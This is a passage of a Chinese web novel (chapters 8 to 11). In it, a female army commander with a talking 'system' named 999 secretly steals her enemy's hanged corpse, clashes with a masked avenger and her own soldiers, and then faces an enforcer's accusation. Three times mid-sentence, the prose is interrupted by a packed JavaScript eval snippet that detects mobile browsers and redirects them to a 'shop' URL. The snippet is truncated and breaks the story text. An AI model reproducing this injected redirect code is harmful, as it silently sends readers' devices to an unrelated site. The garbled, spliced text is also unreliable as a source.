“还有……”姜六航瞟一眼他的腹部,夸赞道,“腹肌锻炼得不错。” 刚才膝盖压上去时,隔着衣料都能感觉到那紧实的肌肉。 大哥虽事务繁忙,锻练却一直没有懈怠。 秦信整理衣襟的手指一顿,耳垂蓦地发热。他清了清嗓子,正要开口,一骑由远而近,飞驰过来。 “报——!!!” 骑手声嘶力竭的吼声响彻全场。 “池州大捷,张炎归降!池州大捷,张炎归降!” “泉州大捷,马荣败逃!泉州大捷,马荣败逃!” 场上安静一瞬,随即,“轰——!!!”惊天动地的欢呼猛然爆发,狂喜瞬间席卷了整个军营。 姜六航眸中迸射出明亮的光芒。 大局已定! 若是后面的时间再没发生意外,就证明世界的抹杀停止,她就没什么好担心的了。 8. 第 8 章 吃晚饭时,姜六航询问大哥,知道大哥和她一样,捷报传来之后再没遇见意外,心中欣喜不已。 连着三日的抹杀终于停止,证明世界再无法扭转局势。 晚上巡营时,她心情轻松地在脑子里和999聊天。 “既然我不回去,是不是可以给我一些别的补偿?” 999:“啊?” 姜六航:“譬如说,给我一些能在古代施行的科技方法,或是给我一幅地图,标出哪里有矿产……” 999:“统不能干涉这个世界的任何发展,否则会受到严厉惩罚。再说,人口普查系统也没这功能。” 姜六航:“那,给点金子可以吧?” 999:“也没这无中生有的功能。” 这没有那没有,姜六航只得遗憾地作罢。 宿主提的要求都没得到满足,999很是忐忑,小心翼翼问:“宿主,你还帮统去做任务吗?” 姜六航悠悠道:“我忽然想到,如果不去做任务,你就只能在我死后解绑。留着你还是很有用的。” 999:“!!!” 姜六航话锋一转:“不过,第一次任务就失败,挺可怜的,所以还是去吧。” 999:“谢谢宿主!宿主你真好!”又怕她反悔似的,赶紧问道,“那我们什么时候去?” 姜六航心中思忖。 各地还有不少残余势力,或相互勾结,或倚仗复杂地形,极难彻底清除。以后大约还要花费几年的时间,天下才能真正地平定。 但半年之内,应该可以打得他们翻不起大浪。 “半年后吧。”她道。 —— 晚上,夜色笼罩,军营里安静下来,只剩下巡夜军士的脚步声和火把燃烧的噼啪轻响,在寂静中格外清晰。 帐篷里,姜六航一身利落的夜行黑衣,仰躺在床上,双眼大睁。 帐外的火光透过帐帘缝隙,在她眼中投下跳跃的光斑,映得一双眸子明明灭灭,深处似有暗流汹涌。 她侧耳倾听,捕捉着帐外的声响。 忽然,她一跃而起,取下腰间挂着的霹雳刀,塞到被子里,然后在床头的一个柜子里扒拉。 999看得莫名其妙:“宿主,你干什么?” 怎么鬼鬼祟祟的? 姜六航回道:“出营转一圈。” 999:“半夜?” 姜六航:“夜里好办事啊。” 999:一看就不是去做好事。 说话间,姜六航从柜里扒出了一个用黑布包裹的长条状物什。解开布,里面是一柄样式极其普通的长剑,正是江湖上最常见的模样。她利落地将剑佩在腰间。 又扯出一块黑巾,严严实实蒙住口鼻,只露出一双眼。 然后继续扒拉,从里面拿出一个包裹提着。 帐外,一队巡营军士的脚步声刚刚远去。姜六航在心中默算,下一队巡逻来此,有一刻钟的空隙。 姜六航闪身出门。 军营中明岗暗哨的分布,早已刻在她脑中。她屏息凝神,身形在帐篷的阴影间倏忽来去,每一次停顿都精确卡在哨兵视线的死角。 夜色中,一条身影如鬼魅般飘荡,很快穿过军营,纵身离去,把军营远远抛在后面。 攻下梁州府城后,一部分铁骨军进驻城内,还有一部分在城外扎营,姜六航大多时候都在城外的军营。 半个时辰后,姜六航站在了城墙下。 城墙上火光点点,巡逻军士提着灯笼、举着火把的身影在垛口间移动。 姜六航沿着墙根潜行,目光锐利地扫视着上方。一会之后,她在一处停下,仰头望去。 城墙上挂着一具尸首。 今夜月色清朗,银辉遍洒,可隔着这么远,也不足以看清那尸首的面目。 但姜六航知道,那是杨承。 她上午来踩过点。 铁骨军的规矩,即便是敌人,也不能侮辱尸身。 这还是她定下的规矩。 那时各军混战,杀死敌人后,人们经常做出鞭尸、碎尸的泄愤举动,处处充满暴戾,姜六航才定下这个规矩。 一来,她受现代思想的影响,觉得即使罪大恶极的人,也有基本的人权。 二来,是为了遏制那种暴戾的情绪。 所以只有罪孽深重的人,才会被铁骨军悬挂在城墙上示众。 如果是被斩首的人,挂上城墙之前,铁骨军会缝合他们的头颅和尸身。示众最多三日,过后会取下来,找个地方,挖坑掩埋。 姜六航站在墙根下的阴影里,仰着头,定定望着那月光里静静悬挂的一团。 今天,是杨承悬尸的第三天。明天,将按她定下的规矩,被解下安葬。 这是她定下的规矩。 可是,凭什么?! 爹娘的尸骨不知在何方,他杨承,凭什么好好地安葬! 后槽牙被咬得咯咯作响,一股带着血腥味的恨意在胸腔里翻腾冲撞。 大不了,她过后去请罪,领一顿军法。 999瑟瑟发抖,总觉得不妙:“宿主,你来这里干什么?” 姜六航的声音冷得像冰:“盗尸。” 999:“什么什么?!” 姜六航不再理会它,她迅速解开带来的包裹,露出里面的铁爪飞钩、粗麻绳和一个硕大的麻袋。 手臂一振,铁爪嵌入她白天看好的落点。试了试力道,她抓住绳索,足尖轻点墙面,几下爬到钉钩处,拔出钩子,再次一甩。 城墙只有三层楼高,甩钩两次后,姜六航已悄无声息地攀至悬挂尸首处。 她撑开麻袋口,将那具尸首套入袋中,扎紧袋口。随即,她反手抽出腰间那柄长剑,寒光一闪,悬挂的绳索应声而断。 999:“宿主!你干嘛?” 姜六航:“不是告诉你了?盗尸啊。别一惊一乍的,不然禁你言!” 999:“……” 姜六航背着麻袋,顺着粗绳溜下城墙,向前奔去。 她要把杨承的尸首扔到乱葬岗去。 刚奔出几十步,异变陡生。 斜刺里,一道剑光直指她背后。 999尖叫:“宿主小心!” 姜六航回剑挡住。 两剑相交,在皎洁的月色下,两人面面相对,几乎脸贴着脸。 那人也蒙着面。 一双铜铃大眼,一双杏眸,蓦地撞上。 两人都呆了呆。 那人眼里先是愕然,然后喷射出勃勃怒意,如燃起了两簇火。 “姜!衡!”他一字字道,每一个字都含着狠绝的恨意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659691|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“是、你!” 他猛地一推,姜六航踉跄退后两步。 麻袋“砰”地掉在地上。 那人挥剑刺过来,漫天剑光,笼住姜六航。 “我今日替你爹娘教训你!”随着剑光过来的,是切齿的大喝。 危机近在眼前,姜六航整个身体却僵住了。 那一声“姜衡”,像一把锐刀狠狠劈开她的记忆,无数破碎的画面和尖锐的刺痛冲击着她的神经,让她大脑一片空白。月光映入她眼中,竟似凝结了一层薄薄的水雾。 999:“啊啊啊!宿主!” 姜六航回过神,挥剑险险格开刺到面门的剑尖。 那人身材粗壮,身形却十分精妙、灵活,腾挪闪避敏捷。他似乎恨极了眼前的人,一双眼瞪得老大,每一剑都往姜六航要害上招呼,一边痛骂。 “你还有脸活着?” “你爹娘没到你梦中骂你?” “你今日不自废武功,休想走!” 他“刷”地一剑刺来,姜六航闪躲不及,肩头衣裳被划破一长条。 999:“宿主!你小心啊!” 话音未落,姜六航袖子上又被划了一剑,所幸没伤到皮肉。 999看宿主狼狈应招,焦急不已。 宿主战斗状态完全失常! 好像从见到这人起,宿主就精神恍惚,反应迟钝,与昨天军中比试时的游刃有余判若两人。 999:“宿主,统可以给你加强十分钟的武力值,要吗?” 姜六航抿着唇:“不用。” 转瞬间,两人过了二十几招。 那人由先前的愤怒,到疑惑,再到惊疑不定。 他仔细瞧几眼姜六航的穿着,道:“不对,你是男子。” “你使的不是如意剑法,有些地方又有些像。你到底是谁?” 说着,剑尖朝她面门而来,姜六航侧头躲开。 那人锲而不舍又拿剑来挑她的面巾,正纠缠间,忽然城门打开,六七骑从城里冲出来,一边往这边疾驰,一边大叫:“那边两个,站住!” 姜六航心里一沉。 糟了!打斗动静惊动了城头守军! 本想悄悄的,这下不能善了了。 那人见状,立马舍了姜六航去提地上的麻袋,他一手抓住袋口,向上一甩,甩到肩上,转身就朝前狂奔而去。 999被这人一连串的动作惊呆了:怎么还有人抢死尸的? 骑兵转眼到了近前。 那人虽跑得快,却绝跑不过马。 姜六航只犹豫片刻就纵身而起,直扑向几人。 “锵!” 猝不及防之下,跑在最前的那个军士只挡了一招就被扫落马下。 姜六航顺势跃上他的马,朝后面几人冲去。 “锵锵锵锵锵!!!” 不过二十几息,随着激烈的刀剑交鸣以及厉声喝斥声,几人全部被她挑下马。 姜六航转目往那人逃跑的方向看去,却被几棵树遮住了视线,那人已不见踪影。 城门口,更多的火把亮起,又有一队骑兵呼啸着冲过来。 姜六航一扯缰绳,另选了一条路,往前奔去。 军士们分成两队,一部分去追那背走杨承尸体的人,另外大部分紧追在姜六航的后面。 9. 第 9 章 姜六航策马狂奔,风刮在脸上,呼啸而过,蒙着的布巾被吹得紧紧贴在脸上。 身后马蹄声“得得得”,急促杂乱,她没回头,凭经验,至少有二十几骑。 呼喝声传来。 “停下!” “奶奶的,偷到咱铁骨军头上来了!” “偷什么不好?——偷尸!是个变态吧?” “再不停下放箭了!” 姜六航充耳不闻,伏低身子,继续策马狂奔。 脑海里,999喧闹不休。 “宿主、宿主!你为什么偷杨承尸体?” “刚才那人是谁?你认识?他为什么也要杨承的尸体?你为什么要替他引开追兵?” “他开始把你错认成姜衡,姜衡是什么人?” “你绑定我之前,没把我调查清楚吗?”姜六航冷不丁问。 999说了好一会,都没得到应答,不防宿主突然开口,卡顿了一下才回道:“那是你的隐私,被封存了。统只知道你上辈子的身世,以及这辈子叫姜六航,性别女,年龄20,是铁骨军统帅,其它都不知道。” 姜六航眉头微挑。 虽然不喜欢自己被窥探,但对方显然是很高级的生物(或是智能?鬼神?),他们要做什么,自己阻止不了。 好在他们还有一点分寸。 但这分寸的线掌握在他们手里,若不想遵守,可以轻而易举地打破。 还是要快点送走系统。 听999说,他们找到一个能绑定的宿主很不容易,很多世界里根本找不到。想必999走之后,再没其他的系统能来。 不同的物种,还是呆在各自的世界里,不要混杂的为好。 “停下!停下!” “射箭!” “嗖、嗖、嗖!”七八支箭直射过来,力道强劲,划破空气发出尖锐的啸声。 999音调瞬间拔高:“啊啊啊!宿主,你别死了!你死了就会直接判定统任务失败!” 姜六航一手控制缰绳,一手挥动长剑,“当当当!”箭支被挡住,掉落在地上。 被这一耽搁,速度不免慢下来。 “啧!”姜六航咂舌。 麻烦! 若是敌人,她何必避让?径直杀回去就是! 可现在不但不能杀回去,还要小心着别被他们看见自己的面目。 她是打算回去后就请罪,该受的军法她都受着。正好她也计划明天向众人揭开自己的女子身份,也就不怕受军棍后请大夫治伤了。 可是她没打算当场被捉现行! 英明神武、威武雄壮的姜帅来盗尸,被部下当变态抓住——她丢不起这人! 何况,现在情况有变,尸体不是她拿走的,她没必要自讨苦吃,上赶着去讨一顿打。 那就更不能被追兵发现自己的身份,以免被误认为是……那人的同伙。 谢思礼执法可不容情。 转念间,不断地有箭射过来,都被姜六航击落。 999受到巨大惊吓,叫道:“宿主宿主,我们投降吧!虽然面上不好看,总比稀里糊涂地死了好!”说到这里,系统忽然“咦”了一声,“看箭矢的轨迹,他们好像舍不得伤马?” 姜六航心中了然。 俗话说,射人先射马,但这匹马是从军士那儿抢过来的,军士们舍不得伤自己的马,箭箭都只往人的身上招呼,倒省了她护马的力气。 可到底被拖慢了速度,她听着有一匹马渐渐逼近。 伴着一个女子的清叱,一缕寒气直逼背心。 姜六航微微侧身,却见那女子飞身而起,手持一把利剑,刺过来时如一道白虹掠空而过,惊艳中藏着凛冽杀机。 姜六航回剑。 “铿!铿!铿!” 电光火石之间,两人过了三招。 剑光交织,快得只看见残影。 女子空中无法借力,三招过后落回紧随的棕马背上,却没坐下,只足尖在马背上一点,又飞身而起。 人未到剑先至,直指姜六航咽喉。 又是三招,两方的招式俱是快捷无比,又精妙绝伦,世所罕见。 女子落回马背,没有片刻停顿,足尖轻点,第三次扑过来。 此时,一支冷箭袭向姜六航的肩膀,她正和女子对招,避无可避。 军士们都以为这回定能拿住盗尸贼了,却见这人右脚往上踢起,腿绷得笔直,脚尖碰到离肩膀只有一寸距离的那支箭,轻轻一磕箭杆,“嗒”一声轻响,那箭偏离方向,擦着肩膀过去。 军士们轰然叫好。 女子回到马背,这回没立即又攻击过来,她站在奔驰的马背上,也大叫了一声“好”。 999:“宿主你好棒!宿主你好帅!宿主你从此就是统的偶像!” 又疑惑道:“宿主,你的剑术很好啊,怎么先前和那人对打时,没打出这水平?统还以为你不擅用剑呢。” 经过三回交手,后面的军士又更加逼近了一点。 姜六航没回答999的疑惑,只道:“好棒好帅的宿主马上要被困住了。” 她在心里盘算:“实在不行,只能先打一场!只是,要把蒙面巾再系牢一下。还有,裴佑在此,她还有这么多帮手,我必须使全力,这样恐怕会伤到人。” 正犹豫间,忽听999道:“宿主你往左前方的树林里去。” 姜六航早看见那片树林,但她根本没考虑过进树林里躲避。 那树木高大,长得又密,马不能行,进去就要弃马。 而且里面昏暗,要是她和军士们隔着较远,倒是可以利用时间差和他们捉迷藏,但此时他们紧追在后面,进去后不等她适应昏暗的环境就会被包围起来。 不等她拒绝,999道:“宿主,统用红线标出最佳路线,你跟着走就行!” 话落,地上陡然出现一条醒目的粗长红线,一直延伸进树林。 姜六航下意识拨转马头向左,马蹄踏上红线虚影。 高科技! 999还是跑路外挂! 军士们在后面喝叫,夹杂着那女子的声音。 “英雄!壮士!你别跑了,停下吧!” “英雄是杨承手下,所以才盗……取尸体去安葬吧?杨承恶贯满盈,既已身死,英雄何不弃暗投明?我们总督最是惜才,定会重用英雄!” “英雄不用担心,取尸也不是什么大事,英雄不是铁骨军的人,不算犯军规,谢执法不会罚你!” 姜六航不回一言,笔直朝树林冲去。 后面的人只以为她慌不择路,紧追上来。 姜六航在树林边下马,孤身进去。 起初她还小心翼翼,放慢速度,摸索着前进。很快,她发现红色路线十分精准,完美地避开所有障碍,于是放心地加快速度,只跟着那红线跑。几个呼吸间,已经窜出一大截。 若是没这红线,即使在白日里,她能清楚地看到周边情况,也跑不了这么快。 军士们追到树林边,也都下马,围成扇形的包抄阵型跑进去,可找了好一会,没发现那人的踪影。 “奇怪,前后脚进来,怎么就不见了?” “好快的身法!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659692|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搜寻良久,军士们无功而返。 回去的路上一边议论。 “这人武功好高。” “和裴将军都能打成平手。” 那位被唤作裴将军的二十来岁的女子摇头道:“我不是他对手,他收着力。” 军士们都很惊讶。 裴将军的武功在铁骨军中排得上前几位,竟然自认不是这人的对手,那他的武功该有多高? “不知他能在将军手下过几招?”有人好奇。 “嗯……三四十招吧?” “只怕不止,五十多?” 说来说去,压根没一人觉得这人有一丝丝打过将军的可能。 将军是无敌的! 最多,这人能多撑些回合。 忽然有人玩笑道:“你们发觉没有,他的身形很像将军,武功又那么高,要不是他使剑,我差点要以为是将军来了。” 众人纷纷笑他异想天开:“你可真会胡思乱想。” 又道:“刀和剑的招数、用力截然不同,是有人两者都会使,但要都达到顶尖程度,绝不可能!” 裴佑听着他们的言语,笑了笑,没说话。 将军的剑法其实也是绝顶。 只是路数和刚才那人不同,但其中又偶有相似……莫非绝顶剑术,总有相通之处? —— 姜六航摆脱追兵,出了树林,却没立即赶回军营。 她站在月光下,按着剑柄,静默不语。 明明无声无息,999却从那姿态里,感受到一种沉甸甸的悲怆。 系统甚至宁愿宿主哭出来。 “宿主,你怎么了?”999小心翼翼地问。 “我在想,”姜六航慢慢道,“他会把尸体带去哪里?” 话音落,她身形已动,如离弦之箭往前跃去。 999:“宿主,你知道他去哪了?” 姜六航声音低沉,散在风里:“大概知道了。” —— 乱葬岗。 这里是孤魂野鬼的归宿,无人认领的尸骸被草草掩埋,甚至随意丢弃在此。 姜六航无声潜行,在一棵树后停住。 找到了。 月光惨白,映着地上僵直的尸体。那人浑身湿漉漉的,正挥舞长鞭,一鞭!一鞭!狠狠抽落! 皮肉撕裂的闷响在寂静的夜里格外清晰。 “啊啊啊啊啊啊啊啊啊!!!!” “打码打码打码打码!!!” 打完码后,999才意识到刚刚自己太吵闹了,生怕被宿主禁言。 虽然统还是能说话,可没人能听到,不就和不能说话差不多吗? 系统偷偷瞄向宿主,却见宿主根本没注意自己,她一动不动地隐在树影里,定定凝视着那边的一人一尸,眼睛许久也没眨一下。 那人抽了几鞭,突然扔掉鞭子,一把扯掉蒙脸的布巾,露出张四十来岁、饱经风霜的粗犷面孔。 他猛地伏在地上,像个孩子一样嚎啕大哭起来,一边双手用力捶着地。 “允兄!” “真姐!” “我没用!几次三番,杀不了杨承那狗贼!” “姜帅给你们报仇了!” “当众斩首,挂城三日!” “你们……安息吧。” “可你们的尸骨、尸骨还没寻回啊!怎么安息?怎么安息?怎么安息!” 在汉子的嚎啕大哭声中,姜六航蹲下身,坐在地上,双臂紧紧抱住并拢的膝盖,缓缓地,把脸埋了上去。 999感觉到,宿主在轻轻地发抖。 10. 第 10 章 嘶哑的哭喊排山倒海地向姜六航压过来,脑中像有千万根针一齐扎下,猛地扎破了她刻意尘封,一直小心翼翼不去碰触的过往。 一幅幅画面在脑中旋转。 云山上,五六岁的她缠着爹读兵书。 娘坐在窗边,执笔作画,偶尔抬眼望过来,眉眼含着温柔笑意。 温暖的阳光透过窗棂,洒在书页上。爹的声音低沉醇厚:“兵者,诡道也……”爹念一句,她跟着念一句。念了三遍,她一句句地背出来。爹大笑着把她高高举起:“我的衡儿,将来必成绝世良将!” 蓦地,红色蔓延! 血! 鲜红的、粘稠的血! 爹娘躺在血泊里,了无生息。 满屋子刺耳的哄笑。 “哈哈哈,看她吓傻了!” “姜允还做文章说她女儿聪明,就这样?” “总督,送她去和她爹娘作伴吧?” 主座上的男人桀桀怪笑:“不急。姜允和徐真是硬骨头,宁死也不肯写文章夸我,看他们的女儿讨饶,不是很有意思吗?” “那女子,磕头、求我。” “我满意了,就不杀你。” 额头撞击冰冷地面,一下,又一下,温热的血糊住了视线。 脚踢过来,她翻滚在地,爬起来,又继续磕。 脑子里只有一个念头—— 活下去、报仇! “宿主,你怎么了?” 999的声音把她从血色中拽回。 她抬起头。 那汉子捶地哭了半天,翻身坐起,哽咽道:“允兄、真姐,我一定会找到你们的尸骨,把你们葬回云山。以后我就留在云山,陪着你们。等从庸来了,我在山下买几个菜,打一壶酒,我们还和从前一样相聚。” 他拿袖子狠狠抹了把脸,捡起地上的布巾重新蒙上,起身,头也不回地朝山下走去。 姜六航发着抖,蜷着身子,把双腿抱得越来越紧,仿佛想把自己缩成极小的一团。 999想安慰她,又不敢出声。 宿主这样的难过,999以为会在宿主脸上看到泪痕,可是没有,宿主蒙着脸的布巾一点也没湿。 宿主没有哭,可是眼睛通红,那里面的悲凉层层叠叠,如水漫出来。 —— 城外,军营。 沈以贵和石进接到报信,城墙上挂着的杨承尸体被人盗走了。 那报信的军士道:“也不是什么大事,总督说,别惊动将军,等将军明天醒了再告诉他。” 军士走后,沈以贵拉住正要返回帐篷的石进:“我们去禀告将军。” “啊!”石进讶然,“总督不是说……” 沈以贵打断他:“总督的话当然要听。”他顿了顿,接着道,“但杨承是将军的大仇人,有关他的事情,将军肯定想第一时间知道。” 石进觉得有道理,跟着沈以贵来到将军帐前。 沈以贵轻声唤道:“将军,有要事禀报。” 里面没有回应。 两个近卫对视一眼,心头疑窦顿生。将军身怀上乘内力,耳聪目明,绝无可能听不见。 沈以贵提高音量,又唤了一声:“将军?” 依旧没有回应。 两人心中升起不安,再不迟疑,掀帐而入。 目光在帐内一扫,空空荡荡,床上被子平铺着,显然里面没人。 “将军呢?”石进抬脚就要往外冲。 “别闹出动静!”沈以贵一把拉住他。 石进急道:“将军不见了,恐怕出了意外。” “哪个能无声无息地劫走将军?将军是自己走的。你看,这里面没有一点打斗的痕迹。” “那将军去哪了?怎么不告诉我们?” “连我们都瞒着,将军八成是去……”沈以贵眼神闪烁,压低嗓音,“取杨承的尸体了。” 石进倒抽一口凉气,瞪圆眼睛看向他。 沈以贵却不再多说,拉着石进回到两人的帐篷。 后面的时间,他们把帐帘拉开一条缝隙,轮流紧紧地盯着外面。直过了大半个时辰,他们才看到穿着夜行衣的将军出现,一闪身进了旁边的帐篷。 两个近卫从帐篷门口退开,蹑手蹑脚地到桌边坐下,面面相觑。 “以、以贵,”石进结结巴巴地低声道,“将军真、真的去、偷杨承尸体了?” 他越想越怕,“将军和杨承有血海深仇,该不会……是鞭尸吧?那可是违背军规!谢执法要是发现了,饶不了将军!” 他仿佛已经看到自家将军趴在刑凳上的惨状,声音里不自觉带了哭腔。 沈以贵眼珠飞快地转了几圈,沉声道:“不管将军去做了什么,既然将军不想人知道,那我们就不能说出去!” 他紧紧盯着石进,语气严肃,“石头,你听好了,不管谁问起,哪怕总督问,你都得一口咬定,昨晚将军就在帐篷里睡觉,哪儿也没去。记住了吗?” 石进连连点头:“嗯、嗯、嗯!记住了!谁也不说!” 沈以贵见他听进去了,这才放心。 —— 姜六航回到帐篷,把身上的外裳脱下,连同遮脸的面巾,用一块布裹起来,塞回原处。 盆子里的水冷了,她没在意,洗了一下脸和手脚,然后躺到床上,拉过被子,连头带脸一起盖住。 这一晚,姜六航睡得极不安稳,一个梦连着一个梦。 爹娘温暖的笑脸与杨承扭曲的面孔交织闪现。她仿佛又回到了那个绝望的时刻,一个头一个头地磕下去,额头的血混着冷汗流下。 好疼。 头疼、身上疼,可都比不上身体深处经脉里生出的疼痛,像要把人活活撕裂。 姜六航陡然醒过来。 天色已发亮。 她的身体里是真的在疼。 缓缓调整呼吸,运转内力,过了好一阵,那剧痛才稍稍平息。 每半年一次生不如死的折磨,这次竟提前了将近一个月。 原计划今天向人坦白女子身份,只能推迟几天了。 她起身,忍着经脉中残留的钝痛,迅速地穿戴好。当走出帐篷时,脸上已不见半点异常,似乎一夜过去,她把所有的悲伤、痛苦都掩埋了起来。 晨跑时,沈以贵向她报告:“将军,昨晚得信,杨承的尸体被盗了。” 姜六航面色镇定,淡淡应了一声:“嗯。”声音平稳, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659693|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听不出任何波澜。 沈以贵觑了觑她的脸色,又补充道:“听说是有两人,一个扛着尸体跑了,一个断后。那断后的身手很是了得,裴将军亲自出手,竟也只打了个平手,后来被他钻林子逃了。谢执法天没亮就赶去现场查了。” 姜六航仿佛在听一件和自己没有一点关系的事,只漫不经心地“哦”了一声。 她觉得,这事到此为止了。人都跑了,也没留下什么线索,谢思礼再怎么厉害也查不出什么。 —— 巳时末,中军帐。 营中几位首领齐聚议事。 姜六航强忍着经脉深处一阵阵的抽痛,面上却是一片从容,对众人道:“我明天开始闭关。” 秦信瞧着她的面色,皱起眉:“不是还有一月才到日子吗?怎的提前了?” 姜六航神态自若回道:“这两天忽然有所感悟,似乎摸到了突破的契机,所以提前闭关。” 秦信不疑有他,只担忧地叮嘱:“突破是好事,但切记不可急躁,慢慢来,安全第一。” 他一边说,一边在心中飞快地盘算起来。 闭关地点选哪里更稳妥? 远了怕有意外照应不及,近了又怕营中操练扰了义弟清修。 需得马上备好衣物、吃食、伤药…… 一看大哥神色,姜六航就知他在想些什么,心里不由得又是感动,又是愧疚。 她骗了大哥五年——女子身份,还有每半年的所谓闭关。 当年杨承攻打玉灵县时她在外地,离着玉灵县数百里,日夜不休地赶回去,一路颠簸。 在路上时身体里就开始疼痛,第五天赶到时,经脉里像有许多小刀子在乱窜,站都站不住了。 那一次,落下的病根格外严重,此后每半年,这疼痛便要来一次,一般要三天,很是难熬。 她怕大夫诊脉发现她的女子身份,于是每次都是托词闭关练功,独自熬过那三天。 而这次……揭开女子身份,肯定会引起些动荡。 不行,不能在她最虚弱的时候。 还是要先瞒着,等这几天过去后再说。 两人正各自想着事,冯简忽然进来禀告:“总督,谢执法和裴将军来了。” 姜六航眼皮一跳,陡然有点不妙的感觉。 谢思礼和裴佑是为杨承尸体被盗的事来的。 今天天刚亮谢思礼就赶到了现场,仔细探查一番,询问目击军士,又在周边搜寻良久,最后拉着裴佑往城外军营来。 裴佑觉得现在要做的事那么多,不需要为此事费神,尸体偷了就偷了吧,又不是什么金疙瘩宝贝。可谢执法神情严肃地坚持,她只得跟着来一趟。 两人进入帐篷,和众人简单见礼后落座。 秦信问:“谢执法辛苦,可是查出了什么眉目?” “是查出了一些东西。”谢思礼朝姜六航望过来,“我想问将军一件事。” 众人都不明其意,姜六航身后的两个近卫却是心中猛地一跳,对视一眼,都想到了昨晚将军的悄悄外出。 姜六航脑海里,999叫了起来:“宿、宿主!她、她……她什么意思?” 姜六航:“就是你想的意思。” 11. 第 11 章 姜六航心中早有打算,打定主意抵死不认。 倒不是刻意逃开责罚。 该担的错她不会推诿,原本也打算回来主动领罚。 可是事情有变。 第一,她没鞭尸。 如果真做了,挨一顿打,值!她认。 可没碰仇人一根指头,反要为他受一顿军棍?凭什么! 第二,昨夜她和裴佑过招时用的如意剑法,一旦认下,会牵扯出许多事。 眼下正是紧要的时候,不宜多生枝节,影响大局。 主意已定,她迎上谢思礼的目光,稳住声音道:“要问什么?你问。” 谢思礼也没兜圈子,单刀直入:“昨晚去盗杨承尸体,和裴将军交手的人,可是将军?” 众人:“!!!” 十几道惊疑的目光在谢思礼和姜六航之间来回游移,直过了数息,才有人质疑。 “将军怎会做这样的事?” “谢执法,你冤枉将军了吧?” 谢思礼不为所动,只定定看着姜六航,坚持要一个答案。 姜六航耍了个小伎俩,没正面回答,反问回去:“你怎会这样想?” 众人都松了口气。 这样说,就是没做那事了。 谢思礼也下意识地以为,将军否认了她的指控。 唯独秦信目光顿了顿,在姜六航脸上停留片刻,又扫向她身后两名面色发僵的近卫。那石进呆呆望着谢思礼,被沈以贵悄悄踢了一脚,慌忙低下头。 秦信心中一沉。 不对劲。 两个近卫神情异常,而义弟与同伴说话,向来直接,有什么说什么,不会像刚才那样迂回。 这主从三人,分明隐瞒了什么。 秦信手指摩挲着腰间匕首刀柄,脸上仍旧挂着温润笑容,脑中却在极速运转,考虑如何解决眼前的事。 那边谢思礼道:“昨夜有两人争抢尸体,一人身材粗壮高大,从水中逃逸。另一人剑术卓绝,和裴将军打成平手。天下武功这样好的人不多,将军正好是其中的一个。”她顿了一下,接着道,“且裴将军及在场军士都说,那人身形与将军相仿。” 听到这话,在场的几个武将神色都转为轻松,纷纷道:“原来是用剑,可咱们将军使的是刀!” “谢执法,你不通武艺,不晓得不奇怪,要把刀法、剑法都练到顶尖,绝不可能!那人既然是剑术大家,便绝不可能是将军!” 一旁的两个近卫才知道其中的细节,交换了一个惊疑的眼神:将军昨夜莫非另有要事?不是去盗尸了? 在一片喧闹中,谢思礼平静反问:“天下之大,焉知没有奇才刀剑双绝?” 武将们都摇头。 “不可能!”严回斩钉截铁地道,“除非他活了两辈子,一辈子练刀,一辈子练剑。” 姜六航心中暗道:“啧,猜得真准。” 唐云立刻反驳:“那也不行,刀意和剑意混杂,反而一样都练不成。” 裴佑忍不住瞥了姜六航一眼,心道:“偏就有这样惊才绝艳,打破常理的人。” 武将们七嘴八舌,倒是没人指责谢思礼,仅凭武艺和身形就起疑心,太过草率。铁骨军众人都深悉谢思礼的行事做派,若非还有其它证据,她不会直指将军。 “我去侦察部查了记录,近日在梁州府城出现的武林高手,仅有三人。”谢思礼语音清晰,“雁门霸王枪连战、兰州破山剑黄超、会州逍遥剑贾录。和昨晚与裴将军交手之人身形相符者,只有贾录。但他昨晚在会客楼通宵饮酒,有多人作证。” 她目光重新转向姜六航:“排除这三人,只剩将军。” 唐云道:“这也不能做为那人是将军的铁证啊。” 谢思礼没有纠缠这个问题,转了话题:“昨天上午,将军曾特意到悬挂杨承尸首的地方仔细查看过,可是踩点?” 姜六航:“我是例行巡查。”顺便踩点。 谢思礼步步紧逼:“将军和杨承有仇,有盗尸的动机。” 姜六航觉得太阳穴突突直跳,只想伸手揉揉,强忍住了。 自以为神不知鬼不觉,哪想到在谢思礼眼中竟是处处破绽? 裴祥光一直在想办法替心中的准女婿摆脱嫌疑,此时接话:“盗尸未必为鞭尸,也可能是杨承旧部,偷了尸体去好生安葬。” 谢思礼点头:“裴大人所言有理。” 